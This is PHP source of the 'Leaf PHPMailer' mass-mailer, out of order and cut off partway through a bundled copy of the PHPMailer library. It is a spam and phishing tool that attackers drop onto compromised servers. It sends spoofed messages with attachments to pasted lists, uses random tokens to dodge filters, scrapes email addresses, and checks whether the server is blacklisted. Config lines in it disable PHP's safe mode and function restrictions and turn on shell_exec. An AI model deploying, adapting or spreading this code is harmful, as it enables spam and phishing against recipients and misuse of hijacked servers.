                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "sekdPqxH8Ly";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

